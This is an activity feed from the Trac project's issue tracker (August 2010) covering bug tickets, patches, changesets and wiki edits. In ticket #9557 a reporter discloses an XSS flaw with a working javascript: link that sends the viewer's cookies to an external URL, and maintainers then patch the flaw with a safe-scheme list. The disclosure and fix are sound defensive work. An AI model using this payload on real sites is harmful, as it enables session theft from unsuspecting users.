06:28 InsideTrac: Trac - Ticket #9560 (ValueError: Extra data: line 1 column 4 - line 1 column 5 (char 4 - 5)) closed by rblank: cantfix: <a class="wiki" href="http://trac.edgewall.org/wiki/PluginIssue">PluginIssue</a> (<a class="wiki" href="http://trac.edgewall.org/wiki/AgiloForScrum">AgiloForScrum</a>).
05:26 InsideTrac: Trac - Ticket #9560 (ValueError: Extra data: line 1 column 4 - line 1 column 5 (char 4 - 5)) updated by christopher.shelley@…: This is an issue viewing the whiteboard or dashboard for a certain sprint (LPP Timebox3). This is on the hosted environment <a class="ext-link" href="https://capita.hosted.agile42.com"> https://capita.hosted.agile42.com</a>.
05:25 InsideTrac: Trac - Ticket #9560 (ValueError: Extra data: line 1 column 4 - line 1 column 5 (char 4 - 5)) updated by anonymous: This is an issue viewing the whiteboard or dashboard for a certain sprint (LPP Timebox3). This is on the hosted environment <a class="ext-link" href="https://capita.hosted.agile42.com"> https://capita.hosted.agile42.com</a>.
05:23 InsideTrac: Trac - Ticket #9560 (ValueError: Extra data: line 1 column 4 - line 1 column 5 (char 4 - 5)) created by Shelleyc: <h4 id="HowtoReproduce">How to Reproduce</h4> While doing a GET operation on <tt>/backlog/Sprint Backlog</tt>, Trac issued an internal error. (please provide additional details here) Request parameters: <pre class="wiki">{'bscope': u'LPP TimeBox3', 'name': u'Sprint Backlog', 'scope': None} </pre><h4 id="SystemInformation">System Information</h4> <table class="wiki"> <tr><td> Trac </td><td> <tt>0.11.7</tt> </td></tr><tr><td> Python </td><td> <tt>2.5.2 (r252:60911, Jan 24 2010, 18:02:01) </tt> <tt>[GCC 4.3.2]</tt> </td></tr><tr><td> setuptools </td><td> <tt>0.6c9</tt> </td></tr><tr><td> psycopg2 </td><td> <tt>2.0.7</tt> </td></tr><tr><td> Genshi </td><td> <tt>0.5.1</tt> </td></tr><tr><td> mod_wsgi </td><td> <tt>2.5 (WSGIProcessGroup WSGIApplicationGroup %{GLOBAL})</tt> </td></tr><tr><td> Agilo </td><td> <tt>1.3.0.2-PRO</tt> </td></tr><tr><td> Subversion </td><td> <tt>1.5.1 (r32289)</tt> </td></tr></table> <h4 id="PythonTraceback">Python Traceback</h4> <pre class="wiki">Traceback (most recent call last): File "/usr/lib/python2.5/site-packages/Trac-0.11.7-py2.5.egg/trac/web/main.py", line 450, in _dispatch_request dispatcher.dispatch(req) File "/usr/lib/python2.5/site-packages/Trac-0.11.7-py2.5.egg/trac/web/main.py", line 206, in dispatch resp = chosen_handler.process_request(req) File "/usr/lib/python2.5/site-packages/binary_agilo-1.3.0.2_PRO-py2.5.egg/agilo/api/view.py", line 155, in process_request return self._call_filters_and_handler(req, handler) File "/usr/lib/python2.5/site-packages/binary_agilo-1.3.0.2_PRO-py2.5.egg/agilo/api/view.py", line 143, in _call_filters_an </pre>
05:01 InsideTrac: Trac - Ticket #9559 (gkjgkiiyuiyuiy) created by anonymous: tiytityityioyuoyho
04:21 InsideTrac: Trac - TracOnWindowsStandalone edited by trac@…: Corrected reference to <a class="missing wiki" href="http://trac.edgewall.org/wiki/FireDaemon" rel="nofollow">FireDaemon?</a> Lite as this has been discontinued (<a href="http://trac.edgewall.org/wiki/TracOnWindowsStandalone?action=diff&version=33">diff</a>)
03:45 InsideTrac: Trac - Ticket #7500 (Trac href links point to /trac/trac.cgi/foo under mod_rewrite) updated by anonymous: I also have this problem with fcgi.

08/09/10:

18:19 InsideTrac: Trac - Ticket #9557 (User-assisted XSS risk via javascript: links) updated by rblank: This second patch makes the list of safe schemes configurable, with a sane default. It also uses the same list of schemes for sanitizing the output of the <tt>{{{#!html}}}</tt> wiki processor. What say ye? Ok for 0.11.7.1? (OT: Why call it 0.11.7.1? Wouldn't 0.11.8 be simpler?)
18:06 InsideTrac: Trac - 9557-configurable-safe-schemes-r9925.patch attached to Ticket #9557 by rblank: Make safe schemes configurable.
17:16 InsideTrac: Trac - Changeset [9995]: l10n/ru: major proofing contributed by Alexandr Sokolov by aprudnikov: l10n/ru: major proofing contributed by Alexandr Sokolov
16:38 InsideTrac: Trac - Ticket #9557 (User-assisted XSS risk via javascript: links) updated by rblank: Owner, Status, Version changed The patch above (against 0.11-stable) is probably the most restrictive fix, as it restricts the link schemes to only those marked as safe in Genshi, that is, <tt>file:</tt>, <tt>ftp:</tt>, <tt>http:</tt> and <tt>https</tt>. This breaks one test that checks for the following links as being formatted correctly: <pre class="wiki">svn+ssh://secureserver.org [svn+ssh://secureserver.org SVN link] rfc-2396.compatible://link [rfc-2396.compatible://link RFC 2396] </pre> It would be nice to add a few schemes that are known to be safe, like <tt>ssh:</tt>, <tt>svn+ssh:</tt> or <tt>git:</tt>. But we will never catch them all, so how about an option <tt>[wiki] safe_schemes</tt> to allow customizing the list of good schemes?
16:30 InsideTrac: Trac - 9557-safe-schemes-r9925.patch attached to Ticket #9557 by rblank: Suggested fix, breaks one test.
13:37 InsideTrac: Trac - TracDev/PluginDevelopment edited by shesek: fixed the link to source (<a href="http://trac.edgewall.org/wiki/TracDev/PluginDevelopment?action=diff&version=51">diff</a>)
12:42 InsideTrac: Trac - TracDev/PluginDevelopment edited by shesek: added link to the comment on 0.12 API changes (<a href="http://trac.edgewall.org/wiki/TracDev/PluginDevelopment?action=diff&version=50">diff</a>)
12:40 InsideTrac: Trac - TracDev/PluginDevelopment edited by shesek: added trac.versioncontrol.api.IRepositoryChangeListener (<a href="http://trac.edgewall.org/wiki/TracDev/PluginDevelopment?action=diff&version=49">diff</a>)
10:42 InsideTrac: Trac - SpamFilter edited by dstoecker: Add zip link (<a href="http://trac.edgewall.org/wiki/SpamFilter?action=diff&version=41">diff</a>)
09:46 InsideTrac: Trac - SandBox edited by anonymous: (<a href="http://trac.edgewall.org/wiki/SandBox?action=diff&version=952">diff</a>)
08:38 InsideTrac: Trac - TracTermsPtBr edited by anonymous: minor corrections: 'atribuir' have no diacritics, 'página' does have (<a href="http://trac.edgewall.org/wiki/TracTermsPtBr?action=diff&version=25">diff</a>)
04:55 InsideTrac: Trac - Ticket #9558 (mail notification detected as spam) updated by anonymous: Severity changed Please can you tell me which ticket I am duplicating because I can't find the solution? Thanks!
03:55 InsideTrac: Trac - Changeset [9994]: TracSpamFilter: update to 0.3.3 by dstoecker: <a class="missing wiki" href="http://trac.edgewall.org/wiki/TracSpamFilter" rel="nofollow">TracSpamFilter?</a>: update to 0.3.3
03:53 InsideTrac: Trac - Ticket #9513 (spam filter captcha redirect incorrect when not installed at root) closed by dstoecker: fixed: In <a class="changeset" href="http://trac.edgewall.org/changeset/9993" title="TracSpamFilter: fix #9513">r9993</a>.
03:53 InsideTrac: Trac - Changeset [9993]: TracSpamFilter: fix #9513 by dstoecker: <a class="missing wiki" href="http://trac.edgewall.org/wiki/TracSpamFilter" rel="nofollow">TracSpamFilter?</a>: fix <a class="closed ticket" href="http://trac.edgewall.org/ticket/9513" title="defect: spam filter captcha redirect incorrect when not installed at root (closed: fixed)">#9513</a>
03:48 InsideTrac: Trac - Ticket #9553 (TypeError: train() takes at least 5 non-keyword arguments (4 given)) closed by dstoecker: fixed: In <a class="changeset" href="http://trac.edgewall.org/changeset/9992" title="TracSpamFilter: fix #9553">r9992</a>.
03:48 InsideTrac: Trac - Changeset [9992]: TracSpamFilter: fix #9553 by dstoecker: <a class="missing wiki" href="http://trac.edgewall.org/wiki/TracSpamFilter" rel="nofollow">TracSpamFilter?</a>: fix <a class="closed ticket" href="http://trac.edgewall.org/ticket/9553" title="defect: TypeError: train() takes at least 5 non-keyword arguments (4 given) (closed: fixed)">#9553</a>
03:41 InsideTrac: Trac - Ticket #7984 (spam-filter-captcha did not install fonts directory) closed by dstoecker: fixed: In <a class="changeset" href="http://trac.edgewall.org/changeset/9991" title="TracSpamFilter: fix #7984">r9991</a>.
03:41 InsideTrac: Trac - Changeset [9991]: TracSpamFilter: fix #7984 by dstoecker: <a class="missing wiki" href="http://trac.edgewall.org/wiki/TracSpamFilter" rel="nofollow">TracSpamFilter?</a>: fix <a class="closed ticket" href="http://trac.edgewall.org/ticket/7984" title="defect: spam-filter-captcha did not install fonts directory (closed: fixed)">#7984</a>
03:36 InsideTrac: Trac - Ticket #9558 (mail notification detected as spam) closed by rblank: duplicate: This is most likely due to the <tt>Prcedence: bulk</tt> header that we send. As such, this is a duplicate of <a class="new ticket" href="http://trac.edgewall.org/ticket/7499" title="defect: Notification mail header ">#7499</a>.
03:34 InsideTrac: Trac - Ticket #9558 (mail notification detected as spam) created by anonymous: Hello everybody! When mail notifications are sent from trac(via sendmail), my mail client detects them as spam. I use another server as mail server, different from the one that I installed trac. My mail client is office outlook.
03:24 InsideTrac: Trac - Ticket #8597 (Modifications to Cc list can show 'removed' in comment even if no one was ...) updated by rblank: Owner changed
03:22 InsideTrac: Trac - Ticket #9523 (Email notification should use the BASE64 encode insted of SHORTEST) updated by rblank: Owner changed
03:20 InsideTrac: Trac - Ticket #9339 ([Patch] Nothing happens by clicking on foldable elements) updated by rblank: Owner changed
03:20 InsideTrac: Trac - Ticket #9210 (Plugin admin PostgreSQLConnector) updated by rblank: Owner, Status changed
03:16 InsideTrac: Trac - Ticket #9557 (User-assisted XSS risk via javascript: links) updated by rblank: Description changed And removed the actual link before too many people click on it :)
03:12 InsideTrac: Trac - Ticket #9557 (User-assisted XSS risk via javascript: links) updated by rblank: Priority, Severity, Milestone changed Interesting. Thanks for the report! Maybe even for 0.11.7.1?
02:34 InsideTrac: Trac - SandBox edited by anonymous: (<a href="http://trac.edgewall.org/wiki/SandBox?action=diff&version=951">diff</a>)
01:42 InsideTrac: Trac - Ticket #9557 (User-assisted XSS risk via javascript: links) updated by anonymous: open your door
01:41 InsideTrac: Trac - NewTicketGuidelines edited by anonymous: (<a href="http://trac.edgewall.org/wiki/NewTicketGuidelines?action=diff&version=4">diff</a>)

08/08/10:

23:30 InsideTrac: Trac - TracCaseStudies edited by Adrian Fritz <adrian@…>: Project accounting (<a href="http://trac.edgewall.org/wiki/TracCaseStudies?action=diff&version=16">diff</a>)
23:25 InsideTrac: Trac - TracCaseStudies edited by Adrian Fritz <adrian@…>: Boreste's use case. Trac to support MPS.BR "G" level (<a href="http://trac.edgewall.org/wiki/TracCaseStudies?action=diff&version=15">diff</a>)
19:42 InsideTrac: Trac - Ticket #9557 (User-assisted XSS risk via javascript: links) created by Matt McCutchen <matt@…>: <a class="ext-link" href="javascript://%0Alocation='https://mattmccutchen.net/private/trac-javscript-link?'+encodeURIComponent(document.cookie);"> Click here to send me your cookies.</a> This should be blocked by checking link targets against the same set of safe schemes that the HTML sanitizer uses.
19:42 InsideTrac: Trac - Ticket #9557 (User-assisted XSS risk via javascript: links) created by Matt McCutchen <matt@…>: <pre class="wiki">[javascript://%0Alocation='https://mattmccutchen.net/private/trac-javscript-link?'+encodeURIComponent(document.cookie); Click here to send me your cookies.] </pre> This should be blocked by checking link targets against the same set of safe schemes that the HTML sanitizer uses.
16:09 InsideTrac: Trac - Ticket #9502 (please document how one can change track appearance & layout) closed by rblank: invalid: For support questions, please use the <a class="wiki" href="http://trac.edgewall.org/wiki/MailingList">MailingList</a> and <a class="wiki" href="http://trac.edgewall.org/wiki/IrcChannel">IrcChannel</a>.
15:33 InsideTrac: Trac - Ticket #8925 ([PATCH] TitleIndex fixes + enhancement (option 'show_title' to display ...) updated by Adrian Fritz <adrian@…>: I think <a class="new ticket" href="http://trac.edgewall.org/ticket/9402" title="defect: Invalid links in TitleIndex macro with hierarchy format (new)">#9402</a> is a duplicate of this one.
15:26 InsideTrac: Trac - Ticket #9502 (please document how one can change track appearance & layout) updated by Adrian Fritz <adrian@…>: Hi, Basic guidelines: <a class="wiki" href="http://trac.edgewall.org/wiki/TracInterfaceCustomization">TracInterfaceCustomization</a> To explore styles: <a class="wiki" href="http://trac.edgewall.org/wiki/TracInterfaceCustomization#ProjectTemplates">wiki:TracInterfaceCustomization#ProjectTemplates</a> You can install this plugin to manage CSS as a wiki page: <a class="ext-link" href="http://trac-hacks.org/wiki/WikiCssPlugin"> http://trac-hacks.org/wiki/WikiCssPlugin</a> Also you can check some themes at: <a class="ext-link" href="http://trac-hacks.org/wiki/theme"> http://trac-hacks.org/wiki/theme</a> I hope this serves you Regards Adrian
08:20 InsideTrac: Trac - Ticket #9548 (Source browser: First character missing in hash for repo name) updated by shesek: The issue seems to be at chrome/common/js/expand_dir.js: <pre class="wiki">a.attr("href") .substr(window.location.pathname.length+1) .replace(/([^?]*)(\?.*)?$/, '$1'); </pre> It expects the current pathname to be contained in the <a>'s href, and removes it in order to get the remainder that should be set as the hash. <pre class="wiki">a.attr("href") .substr(window.location.pathname.replace(/\/+$/,'').length+1) .replace(/([^?]*)(\?.*)?$/, '$1'); </pre> Should fix this by simply trimming out extra slashes before calculating its length.
07:16 InsideTrac: Trac - 0.11/TracOnUbuntu edited by anonymous: Fixed typo - should be path to trac-environment, was: path to svn. Didn't work (<a href="http://trac.edgewall.org/wiki/0.11/TracOnUbuntu?action=diff&version=49">diff</a>)
06:29 InsideTrac: Trac - Ticket #9548 (Source browser: First character missing in hash for repo name) updated by rblank: Owner, Priority, Severity, Milestone changed Good detective work! I can reproduce it here: <ul><li>Go to <a href="http://trac.edgewall.org/browser/">browser/</a> </li><li>Expand <tt>trunk</tt> using the arrow </li><li>The URL becomes: <a href="http://trac.edgewall.org/browser/#runk">http://trac.edgewall.org/browser/#runk</a> </li></ul> This is probably a small issue with the expansion JavaScript.
04:32 InsideTrac: Trac - Ticket #9548 (Source browser: First character missing in hash for repo name) updated by shesek: Keywords changed I just tried it again and noticed that it only happens under a very specific case - when I add a suffix of "/" to the URL (was tricky to figure it out, I thought I imagined it the first time I encountered it :) This works fine, without the bug I described: <a class="ext-link" href="http://trac.kelso/humaninternals/browser"> http://trac.kelso/humaninternals/browser</a> But when going to this URL, the bug occurs: <a class="ext-link" href="http://trac.kelso/humaninternals/browser/"> http://trac.kelso/humaninternals/browser/</a> Its not that critical as Trac itself always links to the suffixless version that works fine, but might still be worth fixing for those who do use the suffixed URL for some reason (like me).

08/07/10:

21:48 InsideTrac: Trac - Ticket #2456 (Implement API for user management) updated by Mitar: Cc changed
17:28 InsideTrac: Trac - Ticket #9112 (Strange behavior with empty svn repositories) closed by rblank: fixed: Replying to <a href="http://trac.edgewall.org/ticket/9112#comment:8" title="Comment 8 for Ticket #9112">Itamar O <itamarost@…></a>: <blockquote class="citation"> If it is, I think it should be allowed to define a default repository some how. Maybe not with a blank alias, if it causes issues. Maybe using something like "_default_"? </blockquote> You can already use <tt>"(default)"</tt>, but that gets converted to an empty string anyway. The cause for the original issue was actually something else altogether, and it's fixed in <a class="changeset" href="http://trac.edgewall.org/changeset/9990" title="0.12.1dev: Fixed the incorrect links generated in the repository index for ...">[9990]</a> (aha, approaching 10'000 changesets :).
17:24 InsideTrac: Trac - Changeset [9990]: 0.12.1dev: Fixed the incorrect links generated in the repository index for ... by rblank: 0.12.1dev: Fixed the incorrect links generated in the repository index for empty Subversion repositories. Also, fixed the sorting by making the <tt>reponame</tt> always part of the sort key, and added sorting of repositories by author. Closes <a class="closed ticket" href="http://trac.edgewall.org/ticket/9112" title="defect: Strange behavior with empty svn repositories (closed: fixed)">#9112</a>.
17:24 InsideTrac: Trac - Changeset [9990]: 0.12.1dev: Fixed the incorrect links generated in the repository index for ... by rblank: 0.12.1dev: Fixed the incorrect links generated in the repository index for empty Subversion repositories. Also, fixed the sorting by making the <tt>reponame</tt> always part of the sort key, and added sorting of repositories by author. Closes <a class="new ticket" href="http://trac.edgewall.org/ticket/9112" title="defect: Strange behavior with empty svn repositories (new)">#9112</a>.
17:17 InsideTrac: Trac - Ticket #9556 (IndexError: string index out of range in trac-admin upgrade) closed by rblank: fixed: Patch confirmed on IRC, and applied in <a class="changeset" href="http://trac.edgewall.org/changeset/9989" title="0.12.1dev: Correctly handle an empty `[trac] backup_dir` option. Closes ...">[9989]</a>.
17:14 InsideTrac: Trac - Changeset [9989]: 0.12.1dev: Correctly handle an empty `[trac] backup_dir` option. Closes ... by rblank: 0.12.1dev: Correctly handle an empty <tt>[trac] backup_dir</tt> option. Closes <a class="closed ticket" href="http://trac.edgewall.org/ticket/9556" title="defect: IndexError: string index out of range in trac-admin upgrade (closed: fixed)">#9556</a>.
17:14 InsideTrac: Trac - Changeset [9989]: 0.12.1dev: Correctly handle an empty `[trac] backup_dir` option. Closes ... by rblank: 0.12.1dev: Correctly handle an empty <tt>[trac] backup_dir</tt> option. Closes <a class="new ticket" href="http://trac.edgewall.org/ticket/9556" title="defect: IndexError: string index out of range in trac-admin upgrade (new)">#9556</a>.
16:59 InsideTrac: Trac - Ticket #9556 (IndexError: string index out of range in trac-admin upgrade) updated by rblank: Owner, Component changed It seems that Trac is choking on your <tt>[trac] backup_dir</tt> option being empty. Could you please try the following patch: <div class="diff"> <ul class="entries"> <li class="entry"> <h2> <a>trac/db/api.py</a> </h2> <pre>diff --git a/trac/db/api.py b/trac/db/api.py</pre> <table class="trac-diff inline" summary="Differences" cellspacing="0"> <colgroup><col class="lineno" /><col class="lineno" /><col class="content" /></colgroup> <thead> <tr> <th title="File a/trac/db/api.py"> a </th> <th title="File b/trac/db/api.py"> b </th> <td> </td> </tr> </thead> <tbody class="unmod"> <tr> <th>166</th><th>166</th><td class="l">        connector, args = self.get_connector() </td> </tr><tr> <th>167</th><th>167</th><td class="l">        if not dest: </td> </tr><tr> <th>168</th><th>168</th><td class="l">            backup_dir = self.backup_dir </td> </tr> </tbody><tbody class="mod"> <tr class="first"> <th>169</th><th> </th><td class="l">            if <del>backup_dir[0] != "/"</del>: </td> </tr> <tr class="last"> <th> </th><th>169</th><td class="r">            if <ins>not os.path.isabs(backup_dir)</ins>: </td> </tr> </tbody><tbody class="unmod"> <tr> <th>170</th><th>170</th><td class="l">                backup_dir = os.path.join(self.env.path, backup_dir) </td> </tr><tr> <th>171</th><th>171</th><td class="l">            db_str = self.config.get('trac', 'database') </td> </tr><tr> <th>172</th><th>172</th><td class="l">            db_name, db_path = db_str.split(":", 1) </td> </tr> </tbody> </table> </li> </ul> </div> Note that an empty value for the option above means that database backups will be stored in the root of your Trac environment. That's not necessarily a good idea.
16:21 InsideTrac: Trac - Ticket #9554 (plain text download of wiki pages reveals comments not meant for public ...) updated by Carsten Klein <carsten.klein@…>: Replying to <a href="http://trac.edgewall.org/ticket/9554#comment:1" title="Comment 1 for Ticket #9554">rblank</a>: <blockquote class="citation"> Err, if that content must not be leaked, don't put it into the page? That's certainly neither critical nor of high priority, as there is a simple, intuitive way of avoiding the issue. </blockquote> Hm, in the documentation on the <tt>{{{#!comment}}}</tt> processor it states that contained content will not be rendered out. Of course, a normal user like myself would expect this to be true under all circumstances, especially when downloading a plain text representation of a given wiki page. And, as for leaving out the information instead of putting it into a comment, I'd rather not. Consider, sometimes you have ideas on the content that must be further developed and which may also contain information that is not yet ready for public consumption. Keeping that information in a different place would place additional burden on the person maintaining the wiki pages, since the information that is kept in a different place must constantly be synchronized with the information on the actual wiki pages. Also, you will have two different histories for the same information, the one contained in the wiki page and the externally stored information. Whereas, if you kept them in a single place, you could easily track the history of both the public information and the one under development hidden in some comment.
16:16 InsideTrac: Trac - Ticket #9556 (IndexError: string index out of range in trac-admin upgrade) updated by anonymous: Sorry I didn't have a look in the log/trac.log since I exspected the trace to show up in the console. But here it is <pre class="wiki"> 2010-08-07 19:32:06,531 Trac[console] ERROR: Exception in trac-admin command: Traceback (most recent call last): File "/usr/lib64/python2.6/site-packages/trac/admin/console.py", line 107, in onecmd rv = cmd.Cmd.onecmd(self, line) or 0 File "/usr/lib64/python2.6/cmd.py", line 218, in onecmd return self.default(line) File "/usr/lib64/python2.6/site-packages/trac/admin/console.py", line 257, in default return cmd_mgr.execute_command(*args) File "/usr/lib64/python2.6/site-packages/trac/admin/api.py", line 123, in execute_command return f(*fargs) File "/usr/lib64/python2.6/site-packages/trac/env.py", line 790, in _do_upgrade self.env.upgrade(backup=no_backup is None) File "/usr/lib64/python2.6/site-packages/trac/env.py", line 528, in upgrade self.backup(backup_dest) File "/usr/lib64/python2.6/site-packages/trac/env.py", line 500, in backup return DatabaseManager(self).backup(dest) File "/usr/lib64/python2.6/site-packages/trac/db/api.py", line 169, in backup if backup_dir[0] != "/": IndexError: string index out of range </pre>
16:13 InsideTrac: Trac - Ticket #9554 (plain text download of wiki pages reveals comments not meant for public ...) updated by Carsten Klein <carsten.klein@…>: Replying to <a href="http://trac.edgewall.org/ticket/9554#comment:3" title="Comment 3 for Ticket #9554">Carsten Klein <carsten.klein@…></a>: <blockquote class="citation"> Another point would be to allow the user to configure what kind of downloads are possible from a given resource realm, by making the downloaders components that can be switched on and off in the plugin configuration admin page. </blockquote> I guess the functionality is already there: cf. the trac.mimeview.api module where we have the <a class="missing wiki" href="http://trac.edgewall.org/wiki/WikiTextRenderer" rel="nofollow">WikiTextRenderer?</a> :) And, since the renderer is already a component, everything said above is already available and should just be utilized. My proposal would be that the mimeview module also provides for a IRequestHandler component that will then accept requests to specific uris, such as /mimeview/wiki | /mimeview/ticket ..., by which it then will delegate model retrieval to a yet to be determined interface or rather implementation thereof, e.g. a resource handler or something similar. After having called the resource handler's get_content() method, it will then try to find a suitable handler for the requested format, i.e. the original format for the wiki is for example x-application-trac-wiki, and the requested format would be for example text/plain. Sampel Call Sequence Incoming Request -> Main Request Dispatcher -> <a class="missing wiki" href="http://trac.edgewall.org/wiki/MimeViewRequestHandler" rel="nofollow">MimeViewRequestHandler?</a> -> find_resource_handler -> get_content_and_default_mimetype_from_handler -> find_converter -> find_renderer -> render_output In addition, the currently insource definition of the mimetypes should be externalized. There is already a mimetypes module available that provides an extensible mimetypes database.
16:12 InsideTrac: Trac - Ticket #9556 (IndexError: string index out of range in trac-admin upgrade) updated by rblank: That's not a useful error message, granted. But you should have a full traceback in the log. Could you please post it here?
16:10 InsideTrac: Trac - Ticket #8551 (OperationalError: unable to open database file) closed by rblank: worksforme: Replying to <a href="http://trac.edgewall.org/ticket/8551#comment:4" title="Comment 4 for Ticket #8551">gopalkrao3@…</a>: <blockquote class="citation"> I request a quicker resolution to this problem as I would like to check-in my changes. </blockquote> And you expect... what exactly? That we buy you a new disk? I suggest you talk to your IT staff about that. Still an <a class="wiki" href="http://trac.edgewall.org/wiki/InstallationIssue">InstallationIssue</a>.
15:41 InsideTrac: Trac - Ticket #9556 (IndexError: string index out of range in trac-admin upgrade) created by benjamin@…: When I try to upgrade from 0.11.7 to 0.12 I get the following output. I really have no clue at all where I should start looking. Trac was installed using Gentoo's emerge trac, python version is 2.6.5-<a class="changeset" href="http://trac.edgewall.org/changeset/3" title="Added a new Wiki parser/formatter">r3</a>, sqlite 3.6.23.1 and pysqlite 2.6.0 <pre class="wiki">trac-admin . Willkommen bei trac-admin 0.12 Interaktive Administrations-Konsole von Trac Copyright (c) 2003-2010 Edgewall Software Geben Sie '?' oder 'help' für Hilfe zu den Kommandos ein. Trac [trac]> upgrade IndexError: string index out of range </pre>
15:40 InsideTrac: Trac - Ticket #9554 (plain text download of wiki pages reveals comments not meant for public ...) updated by Carsten Klein <carsten.klein@…>: Replying to <a href="http://trac.edgewall.org/ticket/9554#comment:2" title="Comment 2 for Ticket #9554">cboos</a>: <blockquote class="citation"> I believe he expected to get the page formatted as plain text, which is indeed different than </blockquote> Correct. <blockquote class="citation"> getting the wiki source. Once we have this feature, we could offer two download links: Wiki source and Plain Text, and only the latter when viewing read-only pages (i.e. for getting to the source, one should have the 'edit' permission). </blockquote> Nice idea, limiting access to the wiki source to only editors or admins. Another point would be to allow the user to configure what kind of downloads are possible from a given resource realm, by making the downloaders components that can be switched on and off in the plugin configuration admin page.
15:19 InsideTrac: Trac - Ticket #8551 (OperationalError: unable to open database file) reopened by gopalkrao3@…: Hi, After searching the net, I found that when the server (where SVN is running) has run out of disk-space, one would get the error "Can’t find a temporary directory: Internal error". This is the error I get when I am using the TortoiseSVN when I try to commit the changes. When I try to open the repository on the web I get the error "<a class="missing wiki" href="http://trac.edgewall.org/wiki/OperationalError" rel="nofollow">OperationalError?</a>: unable to open database file". I request a quicker resolution to this problem as I would like to check-in my changes. Regards Gopal
15:05 InsideTrac: Trac - Error.pdf attached to Ticket #8551 by gopalkrao3@…: Attached file contains the screen capture of the error screen.
15:04 InsideTrac: Trac - Ticket #8551 (OperationalError: unable to open database file) updated by gopalkrao3@…: Hi, I am getting this error just by browsing to my repository. Originally, I got an error when I was trying to do "SVN Commit" from the "Windows Explorer" using the TortoiseSVC. Can some one help resolve this issue? I need to submit my changes. Thanks Gopal
14:52 InsideTrac: Trac - Changeset [9988]: l10n/zh_TW: minor update and fix fuzzy strings (92%) by zclin: l10n/zh_TW: minor update and fix fuzzy strings (92%)
12:08 InsideTrac: Trac - Ticket #8289 (Make SVN Authz compatible with SVN 1.5) updated by rblank: Replying to <a href="http://trac.edgewall.org/ticket/8289#comment:17" title="Comment 17 for Ticket #8289">rblank</a>: <blockquote class="citation"> Does anybody know where this is documented? </blockquote> Oh, great, the only place this seems to be documented is in the sample <tt>conf/authz</tt> file of a newly-created repository: <pre class="wiki">### As shown below each section defines authorizations for the path and ### (optional) repository specified by the section name. ### The authorizations follow. An authorization line can refer to: ### - a single user, ### - a group of users defined in a special [groups] section, ### - an alias defined in a special [aliases] section, ### - all authenticated users, using the '$authenticated' token, ### - only anonymous users, using the '$anonymous' token, ### - anyone, using the '*' wildcard. ### ### A match can be inverted by prefixing the rule with '~'. Rules can ### grant read ('r') access, read-write ('rw') access, or no access ### (''). </pre>
12:00 InsideTrac: Trac - Ticket #8289 (Make SVN Authz compatible with SVN 1.5) updated by rblank: It looks like SVN also supports "negation rules", by prefixing a key with <tt>~</tt>. Does anybody know where this is documented? I couldn't find anything except the <a class="ext-link" href="http://svn.apache.org/viewvc?view=revision&revision=863824"> changeset</a> that adds the feature.
11:46 InsideTrac: Trac - Ticket #8289 (Make SVN Authz compatible with SVN 1.5) updated by rblank: <a class="new ticket" href="http://trac.edgewall.org/ticket/9542" title="defect: ">#9542</a> has a patch that adds the <tt>$anonymous</tt> and <tt>$authenticated</tt> tokens.
11:45 InsideTrac: Trac - Ticket #9542 ("Browse Source" button is not shown for anonymous users when ...) updated by rblank: Yes, I'm pretty sure we should also handle <tt>LOG_VIEW</tt> in the same way. <a class="attachment" href="http://trac.edgewall.org/attachment/ticket/9542/9542-handle-log-r9987.patch" title="Attachment '9542-handle-log-r9987.patch' in Ticket #9542">9542-handle-log-r9987.patch</a> <a class="trac-rawlink" href="http://trac.edgewall.org/raw-attachment/ticket/9542/9542-handle-log-r9987.patch" title="Download"><img src="http://trac.edgewall.org/chrome/common/download.png" alt="Download" /></a> enables that. Could you please test if both patches fix the issue for you? You should be able to disable <tt>BROWSER_VIEW</tt>, <tt>CHANGESET_VIEW</tt>, <tt>FILE_VIEW</tt> and <tt>LOG_VIEW</tt>, as <a class="wiki" href="http://trac.edgewall.org/wiki/TracUpgrade#Authzpermissionchecking">documented</a>.
11:41 InsideTrac: Trac - 9542-handle-log-r9987.patch attached to Ticket #9542 by rblank: Also handle <tt>LOG_VIEW</tt>. Applies on top of <a class="attachment" href="http://trac.edgewall.org/attachment/ticket/9542/9542-source-perms-r9987.patch" title="Attachment '9542-source-perms-r9987.patch' in Ticket #9542">9542-source-perms-r9987.patch</a> <a class="trac-rawlink" href="http://trac.edgewall.org/raw-attachment/ticket/9542/9542-source-perms-r9987.patch" title="Download"><img src="http://trac.edgewall.org/chrome/common/download.png" alt="Download" /></a>.
11:33 InsideTrac: Trac - Ticket #9542 ("Browse Source" button is not shown for anonymous users when ...) updated by rblank: <a class="attachment" href="http://trac.edgewall.org/attachment/ticket/9542/9542-source-perms-r9987.patch" title="Attachment '9542-source-perms-r9987.patch' in Ticket #9542">9542-source-perms-r9987.patch</a> <a class="trac-rawlink" href="http://trac.edgewall.org/raw-attachment/ticket/9542/9542-source-perms-r9987.patch" title="Download"><img src="http://trac.edgewall.org/chrome/common/download.png" alt="Download" /></a> fixes a few things with the source permission policy: <ul><li>Grant access to all parent directories of an allowed resource (this is the actual fix for this issue). </li><li>When permission is neither granted nor revoked, the permission policy now returns <tt>None</tt>, so that the permission check continues with the following policies. </li><li>When a repository cannot be shown (e.g. due to missing bindings), also apply the permission checks, and don't display the error if the user doesn't have access to the repository. </li><li>While I was at it, I added support for the <tt>$anonymous</tt> and <tt>$authenticated</tt> tokens (<a class="new ticket" href="http://trac.edgewall.org/ticket/8289" title="enhancement: Make SVN Authz compatible with SVN 1.5 (new)">#8289</a>). </li></ul> With this patch, the global <tt>BROWSER_VIEW</tt>, <tt>CHANGESET_VIEW</tt> and <tt>FILE_VIEW</tt> permission should be removed, and only <tt>LOG_VIEW</tt> should be granted globally. And actually, I'm not sure about that last point. Shouldn't <tt>LOG_VIEW</tt> also be treated the same as <tt>FILE_VIEW</tt> and <tt>BROWSER_VIEW</tt>? The only locations where it is used is in the log view, where the permission check is coarse, and in <tt>svn_prop.py</tt>, where the resource checked against is the path.
11:08 InsideTrac: Trac - 9542-source-perms-r9987.patch attached to Ticket #9542 by rblank: Updated source permission policy.
10:26 InsideTrac: Trac - Ticket #9555 (RuntimeError: instance.__dict__ not accessible in restricted mode) closed by rblank: duplicate: Duplicate of <a class="reopened ticket" href="http://trac.edgewall.org/ticket/3371" title="defect: RuntimeError: instance.__dict__ not accessible in restricted mode (reopened)">#3371</a> (and one of our <a class="wiki" href="http://trac.edgewall.org/wiki/MostFrequentDuplicates">MostFrequentDuplicates</a>).
